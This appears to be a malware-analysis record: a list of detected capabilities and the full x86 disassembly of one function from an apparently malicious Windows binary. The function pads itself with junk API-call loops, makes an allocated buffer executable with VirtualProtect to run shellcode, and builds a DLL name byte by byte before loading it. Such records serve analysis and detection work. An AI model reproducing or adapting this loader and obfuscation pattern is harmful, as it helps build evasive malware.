Function at 0x4a8bf0
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x4a9e1c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x25b0
call fcn.004137c0
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov ebp, dword [esp + 0xec]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2d1a6
jge 0x4a8c41
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x835120], 0x6fb
jne 0x4a8c59
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9af9f6
jle 0x4a8c71
cmp ebx, 0xc10b30
je 0x4a8c71
cmp ebp, 0x90503cc
jne 0x4a8c7a
inc esi
cmp esi, 0x83362
jl 0x4a8c2f
cmp dword [0x835120], 0xcf8
jne 0x4a8e10
push 0
call fcn.004078f1
add esp, 4
xor ebp, ebp
push ebp
push ebp
call fcn.00417374
add esp, 8
lea eax, [esp + 0x48]
push eax
call fcn.00405a90
push ebp
call fcn.00407a44
fldz
push ecx
fstp qword [esp]
call fcn.00407a80
fstp st(0)
push ebp
push ebp
call fcn.004078b1
push ebp
push ebp
call fcn.004078b1
push ebp
call fcn.00407ba1
add esp, 0x1c
push ebp
push ebp
push ebp
call fcn.00407c53
mov edx, dword [esp + 0x54]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xac]
add esp, 0xc
mov dword [esp + 0x3c], ecx
mov dword [esp + eax + 0x48], 0x40464c
mov dword [esp + 0x25fc], ebp
test byte [esp + 0x98], 1
lea ecx, [esp + 0x58]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x58], 0x40460c
je 0x4a8d29
mov edx, dword [esp + 0x68]
mov eax, dword [edx]
push eax
call fcn.00407a66
add esp, 4
mov eax, dword [esp + 0x68]
mov dword [eax], ebp
mov ecx, dword [esp + 0x78]
mov dword [ecx], ebp
mov edx, dword [esp + 0x88]
mov dword [edx], ebp
mov eax, dword [esp + 0x6c]
mov dword [eax], ebp
mov ecx, dword [esp + 0x7c]
mov dword [ecx], ebp
mov edx, dword [esp + 0x8c]
mov dword [edx], ebp
and dword [esp + 0x98], 0xfffffffe
mov dword [esp + 0x94], ebp
mov dword [esp + 0x58], 0x4045c4
mov byte [esp + 0x25fc], 1
mov eax, dword [esp + 0x90]
mov ebx, eax
cmp eax, ebp
je 0x4a8dca
mov edi, dword [eax]
cmp edi, ebp
je 0x4a8dc1
push ebp
lea ecx, [esp + 0x38]
call fcn.00406f22
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x4a8d9f
cmp eax, 0xffffffff
jae 0x4a8d9f
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x34]
and esi, edi
call fcn.00406f4a
cmp esi, ebp
je 0x4a8dc1
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407a66
add esp, 4
lea ecx, [esp + 0x5c]
mov byte [esp + 0x25fc], 0
call fcn.00406f7b
mov dword [esp + 0x25fc], 0xffffffff
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa0]
mov dword [esp + ecx + 0x48], 0x404604
push edx
mov dword [esp + 0xa4], 0x4045b4
call fcn.00406b2e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x4a8e2b
mov eax, 0x5d1
add dword [0x835120], eax
cmp dword [0x835120], 3
jne 0x4a8e42
push 0
push 0
lea eax, [esp + 0x9c8]
push eax
call edi
inc esi
cmp esi, 0x1518d4
jl 0x4a8e18
mov ecx, dword [0x835120]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov dword [0x4b5184], eax
mov eax, dword [0x835120]
xor esi, esi
test eax, eax
je 0x4a8e98
call fcn.004a8730
cmp dword [0x835120], 0x29
jne 0x4a8e8e
push 0
push 0
lea edx, [esp + 0x1c8]
push edx
push 0
call edi
mov eax, dword [0x835120]
inc esi
cmp esi, eax
jb 0x4a8e70
cmp eax, 0x70
jne 0x4a8fc4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0x404290
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x1c0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea ecx, [esp + 0x5c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push 0
lea edx, [esp + 0x19c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
lea eax, [esp + 0x40]
push eax
push 0
lea ecx, [esp + 0xf0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
lea edx, [esp + 0x9c8]
push edx
push 0
call edi
push 0x4041b4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0x404298
push 0x4042c8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea eax, [esp + 0x1dc4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea ecx, [esp + 0x11c8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov dword [esp + 0x34], 0x9682ab
cmp dword [0x835120], 3
jne 0x4a9011
push 0x404308
push 0
lea edx, [esp + 0x11c8]
push edx
push 0x404324
push 0x404344
push 0x404350
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp dword [0x835120], 0xdf
jne 0x4a90b7
push 0x404394
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x40]
push edx
push eax
push eax
lea ecx, [esp + 0x11cc]
push ecx
push eax
mov dword [esp + 0x50], eax
call ebp
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x38]
push eax
push 0
push 0
push 0
call esi
push 0x4043c8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0x4043e8
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push 0x4043f8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
push 0x4043fc
push 0x404460
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
dec dword [esp + 0x34]
jne 0x4a8fe4
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
lea esp, [esp]
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4a90d0
mov edx, dword [0x835120]
mov eax, dword [0x4b5184]
lea ecx, [esp + 0x38]
push ecx
push 0x40
push edx
push eax
mov byte [0x4b03f0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a89e0
mov eax, 0
add dword [0x4b5184], eax
mov ecx, 0x73
mov edx, 0x6d
mov word [0x834132], cx
mov word [0x834136], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x83413a], ax
mov word [0x834146], dx
mov word [0x834138], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x834130
mov dword [0x834140], 0x6c0064
mov word [0x834134], dx
mov word [0x834130], ax
mov word [0x834144], cx
mov dword [0x83413c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x835120], 0xc30
jne 0x4a924b
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea ecx, [esp + 0x1c0]
push ecx
push 0x40442c
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
lea edx, [esp + 0x3c]
push edx
push esi
lea eax, [esp + 0x9cc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x404444
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
lea ecx, [esp + 0x19c4]
push ecx
push 0x4044d8
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
lea edx, [esp + 0x11c4]
push edx
push 0x4044f8
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea eax, [esp + 0x5c4]
push eax
push 0x40458c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [esp + 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x38]
push esi
push esi
push esi
push edx
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov ecx, dword [esp + 0x25f4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret